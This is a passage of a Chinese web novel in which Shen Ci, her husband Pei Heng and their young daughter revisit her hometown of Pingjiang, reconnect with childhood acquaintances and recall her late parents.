他没想那么残忍,便岔开了话题,“因为之后爹爹和阿娘成了亲,阿娘就不住在此处了。” 裴珩笑着将这件事敷衍过去,晏晏也没有太纠结,陪着父亲一道看这里的一草一木。 有些长廊的柱子上缺了个角,还有不少地方没了草皮。 一些树木上也有刀刻下的痕迹。 秋叶尽职尽责的守在身边,告诉父女两个这些痕迹都是哪里来的。 裴世子发现,自家夫人说她小时候有一点点顽皮,其实是一句很委婉的话,这哪里是有一点点顽皮? 晏晏听得睁大了眼睛,而裴珩只觉得有趣,像是知道了从前全然不了解的事。 他们到的时候已是下午,冬竹带着丫鬟婆子去安置,一时间也来不及去准备晚膳。 他们来此处也不确定要待多久,临时找个厨娘意义也并不大,裴珩便让秋叶去外头买一些吃食回来。 “世子,不若您一会儿和少夫人出去吃?”秋叶想了想建议道。 “城里有许多家酒楼的味道都很好,是少夫人从小就喜欢去的。” 秋叶壮着胆子建议,在裴珩问她哪家的饭菜最美味的时候,秋叶有些不好意思的笑了起来。 “这大概还是问少夫人更清楚一些。” 秋叶没有明说,裴珩却已经听明白,沈瓷还没有出来,裴珩也不想去催促。 他知道沈瓷有很多的话要和父母说。 本以为还要等许久,却不曾想沈瓷已经差人来寻他,说起了今日的晚膳。 “听闻平江美食一绝,不知夫人可否带我去瞧瞧?”裴珩面露期待。 沈瓷的眼神有些怪怪的,她望向裴珩忍不住的问道,“是秋叶冬竹她们,和你说了什么吗?” 裴珩笑而不语。 沈瓷只觉得这两个丫鬟如今已经胳膊肘往外拐,最近更甚。 “我已经许多年没有来过,不知道还能不能找到熟悉的酒楼。”沈瓷的心里也有一些忐忑,毕竟她也知道自己从前是个什么模样的,有一些害怕遇见熟人。 “无妨,我想出去走一走。” 裴珩的话都说到这个份上,沈瓷就算想要拒绝也找不到合适的理由。 一家三口换了衣裳,出门去了。 平江和她记忆中的有些不一样,沈瓷牵着裴珩的手走在大街小巷上,有一种全然陌生的感觉。 那些熟悉的乡音传到耳朵里的时候,沈瓷忽然觉得,这一切也没有很遥远。 “这一家的包子很好吃。”沈瓷指了指一家铺子,“我很喜欢,阿娘总是会差人来买。” “是吗?”裴珩刚想去买两个,就听见晏晏奶声奶气的声音。 “阿娘,晏晏想吃。”晏晏牵着他们俩的手走在地上,听到这包子好吃四个字就忍不住的眼睛发亮。 裴珩原本就有打算,如今更是顺坡而下,买了三个包子,递给了孩子一个,晏晏高高兴兴的吃起了包子。 沈瓷已经不是孩子自然不会和女儿一般行事,裴珩倒是不在意这些,从纸皮里取出包子,分给了沈瓷一个,“冷了会不好吃。” 沈瓷想要尝尝,又有些犹豫,看见裴珩的动作之后也少了不少的心理负担。 包子还是熟悉的味道,没有太大的改变。 “阿娘,这个包子好好吃。”晏晏的声音打破了沈瓷那些若有若无的情绪,让她的注意力全部都落到了晏晏的身上。 “你若是喜欢吃,明早让人来买。”裴珩拿出手帕,替晏晏擦掉嘴边的汤汁。 只是那油乎乎的手,裴珩实在是牵不上去,裴世子想着眼不见为净,只要看不见就什么都好办。 街市上琳琅满目都是形形色色的酒楼,沈瓷最终选择了一家从前常去的酒楼,正巧过去的时候还有位置,他们便坐下了。 酒楼推出了不少新的菜式,沈瓷估摸着父女俩的口味点了一些。 她到平江之后,情绪就一直不算太好,甚至有一种雾里看花的感觉。 晏晏还小,毫无所觉,裴珩却是有所察觉的,但裴世子一向包容,从不去计较这些,沈瓷愿意说,他就听,不愿意说也无妨。 沈瓷做什么他都不会反对,没有助纣为虐,都已经算他良心不错。 晏晏的面前还有着不少零嘴,平素沈瓷都不让她吃太多,即便裴珩疼她,但在这件事情上,晏晏清楚的知道是阿娘说了算的。 甚至她家爹爹和别家不同,压根没有背着阿娘偷偷喂她的时候。 晏晏其实也挺烦恼,抗议了挺多回。 爹爹根本不搭理她。 但是今日不一样,今日是阿娘买给她的,晏晏还未理解什么是过年的快乐。 但她今天,真的非常快乐。 一直忙个不停。 “你慢些吃,待会儿吃不下饭了。”裴珩无奈的点了一句,但他也没想太拘着孩子。 本也不是日日如此。 又何必苛责。 他们坐下没多久,点的菜就已经上桌,这里的菜式和金陵的有些不太一样,沈瓷还担心裴珩会吃不惯。 但裴珩一点儿反应都没有,还夸沈瓷选的酒楼不错。 “这是自然,我从前很爱来此处。”沈瓷渐渐放松下来,开口和他说起不少从前趣事。 晏晏忙着吃东西,半句话都不多言。 裴珩倒是有意的多问了几句,他迫切的想要知道沈瓷的曾经。 二人正说这话,一旁传来了一阵脚步声,还有人说话的声儿,“郑少夫人,就是这里。” 沈瓷皱起眉头,看向了小二身后的人。 那人一副少妇打扮,但眉宇间还是有着熟悉的模样,像是个熟人。 “沈瓷?” “你是—” 二人一照面,就已经认出了对方,沈瓷有些不确定的问道,“郑茵莺?” “是我。”来人点了点头,眼睛眨也不眨 的看着沈瓷,忙不迭的问道,“你怎么会在这里?” “你不是去金陵了吗?怎么在平江,你是什么时候回来的?回来几日?”郑茵莺的话又快又密,仿佛要将心中所有的疑惑全部都问出来。 沈瓷一时间也不知道要回答哪一句,何况在印象当中,她们之间的关系并不好。 不是能够叙旧的关系。 “回平江祭扫。”沈瓷语气平淡的回答,她回来也不是什么见不得人的事,自然可以大大方方的回应。 至于别的,沈瓷什么都没提。 “你有什么事?”沈瓷眼尾一抬,上上下下的打量着面前的人。 郑茵莺方才太过激动,以至于都忘了自己要来的目的,这会儿轻轻的咳嗽了一声,“其实,我有一件事想要和你商量。” “何事?” 沈瓷皱了皱眉头,心说难道是来和自己抢位置的? 她可不会让。 郑茵莺听见这话,有点儿尴尬,支支吾吾的不知要从何开始说起,一旁的店小二补充了几句,沈瓷这才知道她们俩点了同一道菜。 只是原材料不足,只能做一道。 郑茵莺是想要和她商议,能不能让给她。 原本来的时候她还抱着一些希望,可瞧见是沈瓷之后她就不由自主的打起了退堂鼓。 沈瓷看起来可不是那么好商量的人。 “你日日都在平江…”沈瓷这话才说了一半,对方就已经听明白,她立刻开口解释。 “其实不是我要吃,是我祖母想吃,她病了好几日…今儿个难得有了些胃口。” 要不然她也不至于专门过来找人商量,这菜今日没了明日还有,但郑茵莺想祖母能够开心些。 谁知遇上的人是沈瓷,她也许久不曾回到平江,这菜怕是… “你祖母?”沈瓷看了她一眼,想问是她的哪个祖母,她可记得郑茵莺夫家的祖母,不是什么好人。 “是我自己的祖母。”郑茵莺连忙开口。 “那就让给她们吧。”沈瓷见她好声好气的和自己商量,也没有非要和她争锋相对的意思。 郑茵莺疑惑的看过去,像是没有料到,“你就这么让给我了?” 沈瓷点了点头。 郑家的老夫人她曾经见过,不是什么惹人嫌的老太太,既然病了她也不想和对方计较。 裴珩不置可否,他并不缺这一道菜,晏晏更是什么都不知道,只是抓紧时间吃东西。 省的阿娘回过神来又不让她吃了。 也不知小小年纪到底受了多少苦。 “这…”她想问一问沈瓷,需不需要和身边的人商议一番,但那两人似乎没什么反应。 “…谢谢。”她虽不知沈瓷为什么会答应,可她自己的目的已经达成,很快倒了谢。 “不用客气。”沈瓷没有太在意,可郑茵莺却没法不在意,临走的时候还将她们那桌的给结账了。 她没说,沈瓷也不知道。 只是等他们用完了餐要离开的时候,沈瓷才知道这件事。 “既然已经有人付过,那我们就走吧。”裴珩牵着沈瓷的手往外走去,对这些事半点都不在意。 沈瓷也同样如此。 但夫妻两个谁也没想到,这事儿竟然还有后续,郑茵莺买了这道菜让人送回娘家给祖母。 而她自己则要返回夫家,谁知在路上遇上了熟人,就一道聊了几句。 郑茵莺自然不可避免的说起沈瓷来,她心里实在是憋得慌,问对方可知道自己遇见了谁。 “你遇见谁了?难不成是张英?你俩又吵起来了?”对方不太在意的说道。 “不是张英,是沈瓷。”郑茵莺像是遇到了什么不可置信的事情一般,将今日发生的事情全部说了一遍。 “我是真的没有想到,她居然愿意相让。”郑茵莺的语气中满是不可置信,她疑惑了许久,这会儿总算有一个人能够理解她的惊讶,她自然不想放过人。 “沈?沈瓷?”她惊讶的看着面前的人,默默的重复着这个名字,像是想要确定一番,自己有没有听错。 “她回平江了?” “她什么时候变得这么善良了?” 两人叽叽喳喳的话语,斤数不差的落到了身后人的耳朵里,好巧不巧的,就是她们口中那不知为何变得善良的沈瓷。 沈瓷默默的盯着前头的人,心说今日这道菜,还不如不让的好。 这都是些什么事。 第99章 第99章她的夫君,怎么可以那么好?…… 这其实并非沈瓷头一回遇到这么尴尬的事情,在金陵的时候,沈瓷也遇上了秦月。 还不止一回,那时候沈瓷就想过出门要看黄历。 只是一段时间没有想起。 谁知竟又遇上这样的事情。 她默默的站立,并不想去听前头两个人说话,可她已经听了个正着。 裴珩默默的看了她一眼。 沈瓷只当什么都没瞧见,“夫君…要不我们还是走另一条路?” 总觉得继续待下去不会有什么好事。 裴珩虽然想知道沈瓷从前的模样,但他也知道沈瓷并不乐意她听见这些。 “好。”裴珩很快答应。 沈瓷悄无声息的松了一口气,可很多时候事情就是那么的凑巧,她想要避开,却避无可避。 郑茵莺看见了沈瓷,她还记得今日沈瓷的想让之情,嘴比脑子更快,开口喊她,“沈瓷?!” 沈瓷:“……” 她听见这声音,只能无奈的停下脚步,转身同对方打招呼,“幸会。” 郑茵莺反应过来也觉得自己一时嘴快,她压根不知道和沈瓷说什么。 怎么就把人给喊下了呢? “你,吃完饭了?” 她尴尬不已,不知要说什么,只能寒暄着,但她们本不是什么很好的关系。 沈瓷默默的点头,双方都非常的尴尬,裴珩看的分明,凑在女儿的耳边小声的说了几句话。 晏晏点了点头,走过去拉扯沈瓷的衣裳,“阿娘,这个姨姨是谁?” 沈瓷和郑茵莺两人同时低下了头,看着面前粉雕玉琢的小姑娘,郑茵莺这会儿什么尴尬都没了,只是看着晏晏同她说话。 “这是阿娘的朋友。”沈瓷开口解释,是能坐在一块儿说话聊天的关系,也勉强能算是朋友。 郑茵莺没想到她会那么说。 冲着沈瓷笑了笑,“这是你女儿?” 沈瓷点头,“她叫晏晏。” 总角之宴,言笑晏晏。 “真可爱的姑娘。”郑茵莺眼中满是欣喜之色,沈瓷的这一声朋友仿佛打破了那些若有若无的尴尬。 而之后的交谈也变得顺利许多。 “你要在平江待几日?”她期待的看着沈瓷,眼中还有着说不清道不明的期待。 沈瓷倒也没敷衍,“大抵是三五日,这次回来是祭扫,待不了多久。” “那,那你明日有没有空?你也知道最近天气不错,很适合放纸鸢。”郑茵莺想了想立刻说道。 沈瓷其实心中有所猜测,却有些不太相信,她默默的看向对方,想知道她是不是邀请错人了。 “你在邀请我?” 郑茵莺有些无奈的看着沈瓷,心说这人是怎么回事? 她都已经说的那么明白。 “你若是没空,也就算了。”郑茵莺也不知自己为何要这么说,只是当她看见沈瓷的时候,这些话也就这么脱口而出。 “几时?” 沈瓷冷静问道。 这时另一个人也走了过来,热情的邀请沈瓷一同前往,二人说完之后就要分别,谁知郑茵莺恋恋不舍的看向晏晏,“你明儿个,带女儿吗?” 沈瓷:“?” 她忽然觉得,这人好像并不是想要邀请她的。 难道是因为喜欢晏晏? 所以才会如此吗? “好。”沈瓷想了想还是应下了,郑茵莺很快就松了一口气,惹得沈瓷莫名其妙。 回去的路上还和裴珩说起这件事。 裴珩笑着安抚妻子,“许是因为我们晏晏长得惹人喜爱。” 沈瓷却还是疑惑。 裴珩不过是见她有些犹豫,才会让晏晏去打岔,他虽不知沈瓷和对方从前是什么关系,却也能看出来沈瓷并不讨厌对方。 如若不然她就不会是这般模样。 “是吗?”沈瓷将女儿抱在怀里左右的看了起来,她承认孩子的确长得很可爱。 但… “无论是什么缘由,明日去见了就知晓。”裴珩笑着安抚她。 沈瓷想了想也觉得是这么一回事,杞人忧天总是要不得。 晏晏到了一个陌生的环境,有些睡不好,等到好不容易将人给哄睡着,却轮到沈瓷睡 不着。 即便是从前的环境,她还是觉得有点陌生。 沈瓷翻来覆去的睡不着,本想着要轻一些不打扰到裴珩,谁知他也没有睡着。 “睡不着?” 裴珩的声音在耳边响起。 沈瓷一个激灵,“夫君也醒着?” “嗯,有些激动。”裴珩语气平淡。 沈瓷心中满是疑惑,她全然不知道裴珩究竟在激动什么? “因为我答应和你一起去扬州?”沈瓷小心翼翼的问道,“还是因为我带你来见了爹娘?” 她所能想到的,也唯有这两件事,可裴珩的模样看起来,也并没有显得很激动? “大概是因为,这是你从前的住处。”裴珩总是能够用最平淡的话,说出最让沈瓷意想不到的答案。 她心说这有什么好激动的? 可裴珩后面做的事,就让沈瓷明白过来,他到底在激动什么了。 晏晏已经长大,已经可以自己睡。 沈瓷的屋子有个隔间,晏晏就被安置在那一处,距离不算太远,却也不算太近。 有动静肯定能听得见。 于是… 裴珩便开口哄她,“轻一些,晏晏会听见的。” 沈瓷皱起眉头瞪他,“那你为何不轻一些?” 这话裴珩没法回答,有些奇奇怪怪的心思总是没法宣之于口的,裴珩一直都不觉得自己是什么正人君子,尤其是在沈瓷的面前。 “嘘—”裴珩亲昵的吻着她,很热烈的吻。 让沈瓷有些没法招架,她看着裴珩眼中满是水雾,“夫君?” 她想让裴珩停下,可一直以来她也从未做出过什么阻拦的举动,何况这些事本也没有什么阻拦的必要。 “晏晏?” “她不会醒的。”裴珩随口敷衍,孩子有乳母和丫鬟照顾,即便是醒了也不会有什么不长眼的过来打搅。 裴珩一直都很确定这一点。 而沈瓷最后早就晕晕乎乎,什么都顾不得,就连什么时候睡过去的都不太清楚。 而裴珩当真如他自己所言那般,根本就睡不着。 他一直看着沈瓷的睡颜,很久很久。 * 翌日,沈瓷没能很早醒来,连日的舟车劳顿让她很是困倦,晏晏也睡的香甜,两人都没能起来,裴珩将晏晏抱到沈瓷的身边,早早的出门去买包子。 他闲庭信步的走在街市上,平江一直都很热闹。 裴珩昨日就已经有所见识,今日瞧见又有了不一样的看法,他过来买包子的时候被摊主认了出来,“沈家姑娘的夫婿?” 在金陵的时候,裴珩听到过许许多多的称呼,却从未听到过这么有趣的。 他缓缓的点头,对这个称呼接受良好,“是。” 裴珩想,他的夫人从前,是真的很喜欢这家的包子,时隔多年不过昨日来了一趟,摊主就将他给认了出来。 摊主确定裴珩的身份之后,又塞了几个包子给他,说那是沈瓷从前喜欢吃的,在裴珩要给银子的时候拒绝收下。 “我们从前可受到沈将军和楚夫人不少的恩惠。” 几个包子虽算不上什么,却也是他们的心意。 裴珩安安心心的收下,在临别的时候放下了一大块银子,他很高兴时隔那么久,还有人能够记住岳父和岳母。 回去之后说给沈瓷听,她一定会很高兴的。 裴珩走走停停,遇到了不少卖吃食的店,他买了许多,也不知是谁认出了他的身份,一时间裴珩也变成了香饽饽。 他知道这其实不是托了沈瓷的福,是因为他那素未谋面的岳父岳母。 这话其实说的也不绝对。 裴珩其实见过沈毅夫妻俩,只不过那时候的身份还不是他们的女婿。 他买完了早膳,再回府的时候沈瓷已经醒了,也不知是不是在自己家中的缘故,她特别的放松,抱着晏晏懒洋洋的靠在软榻上头。 见到他会来,冲着他浅浅的一笑,“夫君一大早去了何处?” “去买了一些早点。” 他没什么卖关子的心思,将早晨买的吃食全部都放倒了桌上,“是你喜欢吃的包子。” “摊主问我是不是沈家姑娘的夫婿。”裴珩有些欣喜的将早上发生的事情全部告诉沈瓷,分享着自己的所见所闻。 “嗯?”沈瓷抬头看他,像是奇怪怎么会问这样的事。 “我竟不知,娘子从前还是个名人。”调侃的声音在耳边响起,沈瓷不想搭理他,只想捂住自己的耳朵。 她从前是什么模样,她自己比谁都清楚。 只是回忆变得模糊不清,沈瓷一边回忆着从前自己做了什么,一边猜测着那摊主和裴珩说了什么。 又在纠结自己要不要发问,这要是问出来会不会显得自己心虚? 就在沈少夫人想入非非的时候,裴珩又一次开了口,“他知晓我的身份之后,多给了我好几个包子,说是你喜欢吃的。” “什么?”沈瓷越听越迷糊,心说裴珩的名声难不成都已经传到平江了吗? 在金陵的时候怎么没有听说过? 沈瓷散漫的敷衍了两句,“是,是。” 裴珩和她成亲那么久如何能不知道沈瓷这是什么神情和态度? 他无奈的笑了起来,“不是因为我,是因为岳父和岳母。” 沈瓷微微一愣。 就听见裴珩告诉她,那些人对他说了什么。 “我想着,要回来告诉你,想让你也可以高兴一些。” 沈瓷这会儿是真的愣住了,她看着裴珩扑倒了他的怀里,她想,她的夫君,怎么可以那么好? 第100章 第100章从前总是美好 沈瓷没忍住扑到了裴珩的怀里,她想她的夫君怎么可以那么好? 知晓了一些事情之后就迫不及待的回来告诉她。 “岳父和岳母,很受百姓们的爱戴,他们在世的时候一定做了不少的好事。”裴珩没有拒绝沈瓷的亲昵,将她紧紧的搂在怀中,拍了拍她的背。 “嗯。”沈瓷其实很高兴,有一个人能陪着自己说一说爹娘。 她并不贪心,有人还记得他们,就已经是极好的事情。 “爹爹和娘亲,那些年也做了不少的事情,爹爹自己是穷苦出身的,所以并不会看不起穷人。”沈瓷眼中的爹爹,和威风凛凛的节度使当然不一样。 裴珩见到的沈毅,已经是一个很标准的政客。 他们也不过是几面之缘。 就是这样形形色色的沈毅凑在一起,构成了 一个完整的沈毅。 “我想爹娘了,很想很想。”沈瓷原本是笑着的,她很高兴有人还能够记住自己的父母,可人总是贪心的。 想着想着就悲从中来。 这份悲伤没有那么容易淡去。 “只要有人还记得他们,他们就永远都在。” 沈瓷轻轻的点了点头,和裴珩说起爹娘来,关于父母的一起,她其实有很多很多的话想说,想到了什么就说了什么。 好在裴珩没有半点的不耐烦。 从来都是沈瓷说了什么,他就听什么。 “晏晏长大之后要是知道外祖父和外祖母这么厉害,一定会觉得很骄傲的。”裴珩没说什么安慰人的话,只是将实话提了提。 沈瓷没觉得他是在开玩笑,认真的点了点头,“的确如此。” 她一点也没有客气。 裴珩摸了摸她的头发,软声哄了哄她,“不哭了,一会儿包子又要凉了,不是说今日要出门吗?” 沈瓷其实也记得自己答应了郑茵莺的事,但昨日顺势而为,今日想起却还是觉得有一些草率,“夫君你要怎么办?” “可以去平江城逛一逛。”裴珩早已经想好了今日要去做什么,他甚至都不需要费心的去找什么热闹的地方。 只是想看一看这个城市,随意的逛一逛,走一走。 “那…” “夫人只管去瞧一瞧,若是觉得有趣就多待些时候,若是觉得无趣就早一点离开。”裴珩耐心的安慰着沈瓷。 沈瓷被一点点的说服。 晏晏其实早已经醒了,看着爹娘当着她的面搂搂抱抱,也早已经习惯,软乎乎的躺在软榻上,歪着头看向他们俩,“爹爹,阿娘,晏晏也要抱抱。” 裴珩听见这话,将孩子抱了起来,搂在怀里,一边说着话一边将孩子抱出去,“昨日有没有好好歇息?” “嗯,嗯。”晏晏认真的点点头,眼睛发亮的看着桌上的纸包,“爹爹,是不是买了包子回来?” “等你洗漱完才可以吃。”裴珩将孩子抱出去交给秋叶冬竹,而他自己则返回屋中看着沈瓷梳妆。 这其实一不是头一回,但沈瓷被他看着,总觉得有莫名的怪异,“夫君,你这么看着我做什么?” 裴珩没说话,只是拿出了一旁的发梳,开始替沈瓷梳头发,一下又一下的。 裴珩梳的心无旁骛,沈瓷却忍不住的想要笑。 她一笑就会忍不住的动。 惹得裴珩有些莫名,“你笑什么?” “阿娘从前也是这么给我梳头发的。”沈瓷看着铜镜里的人影,再也克制不住的笑起来。 裴珩的手略略的僵了僵,却舍不得对沈瓷做些什么,只是语气凶了一些,“坐好,不要乱动。” “你若觉得我像岳母,也无妨。”裴世子微微的叹了一口气,已经不介意自己如今在妻子的心目中到底是什么形象。 二人说着话的时候,晏晏已经换好了衣裳走进来,裴珩能做的也不过是替她将头发梳顺,梳什么发型,戴什么簪子,到底还是要丫鬟来做。 待一切都收拾好的时候,时间也已经过去许久。 包子还是热乎乎的,晏晏是当真喜欢,忍不住的吃了两个。 就在她还想要吃的时候,却被沈瓷拦下,她总担心晏晏吃多了积食。 一家三口一道出门,在经过主街的时候,裴珩下了车,去往聚会地点的只有沈瓷和晏晏。 到地方之后沈瓷见到了不少眼熟的面孔。 大家年纪相仿,都已经成了亲,是一副妇人的打扮。 郑茵莺看见沈瓷的时候,心情极好的走了过来,她还以为沈瓷不会来。 “姨姨。”晏晏甜甜的打着招呼,郑茵莺看着她的时候,心就软的一塌糊涂了。 “晏晏。” “阿瓷。” 由远及近的声音传来,沈瓷循声看去,都是从前相熟的姑娘们,她们或多或少的曾经打过交道。 也并没有什么利益的冲突。 只是沈瓷从前很霸道,她们大多数被家中耳提面命,让她们不准得罪沈瓷。 故而,她们之间的关系也就不冷不热的。 并不算好。 但彼此之间当真是没有什么深仇大恨的。 “我们听茵莺说你回平江了,这一回要在这里待多久?” 亲切的话语传来,沈瓷定了定心神道:“只是回来祭扫,过几日就要走,夫君还要去扬州公干。” 没人问起沈瓷的夫君是何人,比起这些,她们更好奇的还是她带来的那个女娃娃,晏晏长得很漂亮,和沈瓷很像,她们将孩子团团的围住,“和阿瓷长得好像。” “像是一个模子里刻出来的。” 几人围着孩子叽叽喳喳的说话。 今日说好是来放纸鸢的,自然不会少了纸鸢,晏晏不怎么会放纸鸢,沈瓷刚要带她去,就见郑茵莺自告奋勇的带着晏晏走了,还和沈瓷保证,自己一定会好好的照顾孩子。 让她放心。 惹得沈瓷莫名其妙,“她这是?” “她就是生不出女儿,你别介意。”一旁知晓内情的女子开口说话,郑茵莺成亲五年,生下了三个孩子,头胎是儿子,第二次生产是双胎,也还是男孩。 家中吵吵闹闹的,她馋人家闺女都快要给馋疯了。 昨日见着晏晏,只觉得晏晏长得漂亮,谁知孩子性子也这般可爱。 她可不就想着要陪孩子玩。 “这…”沈瓷揉了揉自己的脑袋,只觉得超出了自己的认知。 “她原本也很喜欢孩子的。” 沈瓷默默的点头,倒是没有介意孩子被带走,这地方那么大,她虽然隔得远了些,还是能够将一切尽收眼底。 “阿瓷去了金陵之后,没多久秦月也去了金陵,你们可有见过?” 一个接着一个的问题冒了出来,沈瓷想了想,轻轻的点了点头,“见过几回,同在金陵见面的机会自然会多一些的。” 她还去参加过秦月的婚礼,“她一年前成了亲,婚礼办的很热闹,只是她有些难受,说想要回平江看看。” 无论金陵多少繁华,在秦月的心中,都没有什么归属感。 她心心念念的还是自幼长大的这片土地。 但是沈瓷不同,没有爹娘,她对平江只有怀念,再也没有了归属。 去到金陵之后,归属是舅舅和舅母给她的,更别提她那些姐姐和哥哥们,即便是比她小两岁的表妹,也是发自内心的爱护她。 后来,她有了丈夫和孩子。 她的心情早就已经平和不少。 说话间众人又谈论起沈瓷的丈夫,沈瓷还是头一回遇到这样的事情,金陵人人都知裴珩身份,从不会追问这些。 若她们冷嘲热讽,沈瓷估计还会仗势欺人。 但她们只是好奇,沈瓷可真的没有什么炫耀的心思,最后只说他在大理寺任职。 好在众人也没有过多的追问。 只是随意的说了几句,而后这话题不知怎么的,又转到了裴珩的身上。 说起了永宁候世子,问沈瓷有没有见过他,他是不是如同传言中的那般。 沈瓷:? 什么叫做是不是如同传言中的那般? 裴珩的名声怎么就传到平江了?他这是又做了什么? “尚可?”沈瓷揉了揉自己的耳朵,实在是不知道怎么说,她有些尴尬,却又有一些好奇,“传言?有什么传言啊?” 沈瓷当真是好奇。 众人见沈瓷好奇,也不吝啬,当着她的面七嘴八舌的说了起来,沈瓷忍不住的想笑。 她倒是不知道,裴珩在外头的名声竟然是这样的。 “是吗?”沈瓷揉了揉自己的额头,努力的克制自己的表情,半真半假的说道,“这些传言,我在京城其实都没有听说过。” 毕竟,也不会有人刻意的跑到沈瓷的面前说起这些事。 他们即便是敢说,也承受不起惹怒裴珩的后果。 “没想到,竟然还有这样的传言。”沈瓷有些骑虎难下,她原本就没有想要炫耀的心思,何况如今。 就更没有要将真相说出来的意思。 好在也没有人会问起沈瓷的事,她躲在人群里,听着众人说话,她听着听着,仿佛回到了多年以前的夏天。 她们还是坐在一处。 简简单单的过着一天又一天。 首饰和衣裳,就是最要紧的东西,可以因为一件漂亮首饰高兴一天,也可以难受一天。 沈瓷看着她们,由衷的感觉到,从前,真好。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【终章】 第101章 第101章愿得一心人,白…… 晏晏还是个小孩子,玩累了之后就要找阿娘,迷迷糊糊的抱着沈瓷的脖子睡了过去。 众人看着晏晏这幅可爱的模样,都忍不住的想要摸一摸她,沈瓷见她们没什么恶意,倒没有抱着孩子避开。 “这小姑娘当真好 看。” 一句句夸赞和不要钱似得冒出来,沈瓷照单全收。 而另一边,裴珩悠闲自在的坐在茶楼里喝茶,外头人声鼎沸,各式各样叫卖的声音充斥着。 各种乡音混杂,一些能够听明白,更多的却是听不懂的。 若是沈瓷在这里,大概能够听得懂。 裴珩忍不住想起自己的妻子,不过分开了几个时辰,他就又开始了想念。 若是从前,裴珩不会去想糖水和豆腐要卖几文钱,也不会去注意这些。 如今听见,只觉得分外有趣。 碗里的茶并没有很名贵,甚至略显粗糙,这茶不香醇,但意外解渴。 裴珩浅浅的尝了尝,尝出了别的滋味来。 外头传来交谈声,对方并未想过要刻意的压低声音,裴珩听了个正着。 “馄饨五文钱一碗,包子两文钱一个。” 不过是一些日常的,琐碎的事情。 裴珩仔细的分辨,只觉得很有意思。 满满的,都是烟火气息,很陌生,却也很让人沉溺。 裴珩坐了许久,也不知自己听了多久。 时间飞快的流逝着,裴珩都已经忘记自己坐了多久,没有紧迫,也没有压抑。 他简简单单的听着,甚至连时间都没有问过一回。 待到桌前的茶水饮尽,才结账离开。 长鸣跟在裴珩的身后,也觉得主子今日的行为多少有些古怪。 似乎,太放松了些。 裴珩不知长鸣心中所想,即便有所觉,也不会太放在心上。 他鲜少有这般闲暇的时候,走过大街小巷,听见了叫卖的声音。 这事儿要放在从前,他大抵会觉得自己在浪费时间,只是这一切在今日却变得很不一样。 他听着这些声音,想起沈瓷曾经和他说过的那些话。 裴珩的记忆力很好,可以记住很多很多事。 他记得沈瓷随口说起的事,业绩的沈瓷特意说起的事。 在她的记忆当中。 平江永远特别。 在她的记忆中占据着很重要的位置。 城东的桂花糕,城西的糕点铺,晶莹剔透的冰糖葫芦,亦或是一道好吃的菜。 裴珩不知自己为何会做出这般傻气的举动,只是想去沈瓷曾经走过的地方看一看。 瞧上一眼。 仿佛这样子,就可以窥探过去的记忆。 这般心思,如何能与外人道? 就连沈瓷,他也不想告诉,只想将这一切藏在心里当成属于自己的秘密。 闲暇的时间总是过得很快很快,在裴珩尚不注意的时候,悄然离去。 日落西山之时,裴珩打算去接沈瓷,他自然知道沈瓷和人相约在什么地方。 裴珩并没有刻意的去选时间,只是恰巧那个时候他很想见到沈瓷,便闲庭信步的走去,他到的时候,沈瓷刚好出来。 晏晏似乎刚刚睡醒,趴在沈瓷的肩头蹭着。 裴珩见状立刻走上前去从沈瓷的怀中接过孩子。 骤然换了一个怀抱,但晏晏却没有丝毫的不习惯,依恋的靠在裴珩的身上,“爹爹。” 沈瓷身后还有不少人,她们瞧见裴珩抱孩子的模样,心中就大致明白,在家中的时候他应当没少陪孩子。 若不然孩子也不至于如此。 几人打过招呼之后便各自散了。 裴珩一手抱着孩子,一手牵着沈瓷走了。 目送他们一家三口离开画面的众人,总觉得这幅画面非常的熟悉。 一开始还没有想到,可很快她们就反应过来。 这不是和从前一样吗? 在她们的记忆当中,从前的节度使沈毅,也会这般来接妻女,那时候的沈瓷明明已经比现在要年长许多,可依旧会被沈毅当成个几岁的奶娃娃哄着。 她们幼时,其实都挺羡慕。 毕竟,她们的爹爹,其实不会做到这一步。 几人没忍住多看了几眼,又忍不住的羡慕起来。 而后她们三三两两的散去,心中那丁点儿羡慕还残留着,郑茵莺回到家中的时候瞧见丈夫带着孩子们在院中疯跑。 那点儿惆怅都要没了,“不是说了不让带着孩子们疯跑,这时候日头还那么毒,若是中暑可怎么办?” 一大三小同时抬起头来,冲着回来的人嘻嘻的笑着。 浑身上下脏兮兮的孩子跑过来,扑到母亲的怀里亲亲热热的喊着阿娘。 郑茵莺当真有些招架不住,“别跑别跑,小心些别摔了。” 她一手搂着一个,又看向站在一旁的另一个,将双生子推给丈夫之后,长子高高兴兴的跑过来,扑到她的怀里,“阿娘,我今天有和弟弟们好好的。” 郑茵莺有些费力的将孩子抱了起来,软声道:“不用让着他们。” 一家五口说说笑笑的往回走。 郑茵莺那一丁点儿惆怅,也早就随风消散。 * 一家三口没有坐上马车,反而是慢悠悠的散步回去,今日走过一次的路,他又想着要和沈瓷走一回,晏晏趴在裴珩的肩膀上,和裴珩说起今天遇到的姨姨,“姨姨说,她们家里有三个小孩。” 晏晏有些羡慕的看着爹爹和娘亲,开口同沈瓷说,希望爹爹和娘亲可以给她生一个妹妹。 许是因为自己是妹妹,每一回看见珠珠的时候,晏晏都很羡慕,也想当一当姐姐。 毕竟在她的眼中,当姐姐是一件很威风的事情。 “是不是妹妹不好说,但晏晏一定会是姐姐的。”裴珩哄孩子的时候有理有据,很快就让晏晏的注意力放到了别的事情上。 小小的孩子被哄好,也没有再提弟弟和妹妹。 沈瓷随意的问起裴珩今日去了何处,“平江虽然也挺热闹,但到底不大。” “去喝了茶,听了戏,吃了一些味道极好的小吃和糕点。”裴珩如数家珍,沈瓷此时方知,她走过的都是自己曾经提及的地方。 “那夫君觉得,平江可好?” 裴珩毫不吝啬的点头,“很美的地方。” 他牵着沈瓷的手,慢慢的,一步一步的往回走去,夕阳的余晖洒在三人的身上。 倒映的影子凝在了一块儿。 晏晏趴在裴珩的肩头看向地上的影子,伸出手指数了数,“爹爹,阿娘,还有晏晏。” “是,爹爹和娘亲,还有晏晏。”沈瓷笑着摸了摸女儿软乎乎的小脸。 很多的时候,她觉得裴珩和爹爹有些相似,但她却清楚的知道,其实他们两个是不一样的。 “长鸣找好了风水先生,明日去岳父岳母的坟前祭扫。”裴珩仔细说起此行最要紧的事。 沈瓷也一直将这些事记挂在心里,见裴珩已将此事情安排妥当,沈瓷松了一口气的同时,心里也很是愧疚,“我…” 这原本应当是她更上心才对。 “夫人总要给我一个表现的机会,如若不然岳父岳母如何能放心得了?”裴珩总能说出许多沈瓷没有办法反驳的话。 